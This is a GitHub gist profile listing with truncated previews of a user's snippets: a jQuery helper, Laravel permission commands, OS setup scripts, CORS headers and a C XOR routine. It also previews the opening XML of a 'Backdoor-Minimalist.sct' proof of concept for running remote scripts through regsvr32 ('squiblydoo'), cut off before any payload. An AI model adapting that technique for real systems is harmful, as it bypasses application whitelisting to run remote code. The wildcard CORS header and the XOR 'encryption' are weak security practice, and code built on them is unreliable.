Skip to content

Instantly share code, notes, and snippets.

View gustavonovaes's full-sized avatar

Gustavo Novaes gustavonovaes

View GitHub Profile
@gustavonovaes
gustavonovaes / Backdoor-Minimalist.sct
Created April 28, 2016 17:27
Execute Remote Scripts Via regsvr32.exe - Referred to As "squiblydoo" Please use this reference...
<?XML version="1.0"?>
<scriptlet>
<registration
progid="PoC"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<!-- Proof Of Concept - Casey Smith @subTee -->
<!-- License: BSD3-Clause -->
<script language="JScript">
<![CDATA[
@gustavonovaes
gustavonovaes / jQuery.serializeJSON.js
Created May 22, 2016 15:19
Make a form data object
jQuery.fn.extend({
serializeJSON: function () {
var data = {};
this.map(function () {
var elements = jQuery.prop(this, "elements");
return elements ? jQuery.makeArray(elements) : this;
})
.filter(function () {
return this.name && !jQuery(this).is(":disabled");
# Check if your HTTPD server run as www-data.
sudo chown -R ${USER}:www-data $1/
sudo find $1/ -type d -exec chmod 775 {} \;
sudo find $1/ -type d -exec chmod ug+s {} \;
sudo find $1/ -type f -exec chmod 644 {} \;
sudo chmod -R ug+rwx $1/storage/
sudo chmod -R ug+rwx $1/bootstrap/cache/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
void encrypt(char *str_in, char *str_out, int base)
{
for (size_t i = 0; str_in[i] != 0; i++) {
sprintf(str_out + i * 2, "%02x", str_in[i] ^ base);
@gustavonovaes
gustavonovaes / after-install-antergos.md
Last active February 27, 2018 02:56
Things to do after install Antergos

Update

sudo pacman -Syyu

Core Programs

sudo pacman -S --noconfirm git zsh \
  vlc qt4 \
  dsniff nmap
header('Access-Control-Allow-Origin: *');
header("Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, X-XSRF-TOKEN");
header('Access-Control-Allow-Methods: GET, POST, PUT, DELETE');
Controller
index_status_code_should_be_200
index_should_return_collection_of_records
show_should_return_valid_record
show_should_fail_when_id_not_exists
store_should_save_in_database
store_should_respond_with_201_and_location_when_successful
@gustavonovaes
gustavonovaes / after-install-elementaryos.sh
Last active December 4, 2016 19:29
Script to setup ElementaryOS after install.
#!/bin/bash
sudo apt update
sudo apt install -y \
vim \
seahorse gnome-system-monitor \
chromium-browser \
git docker.io docker-compose \
openjdk-9-jre \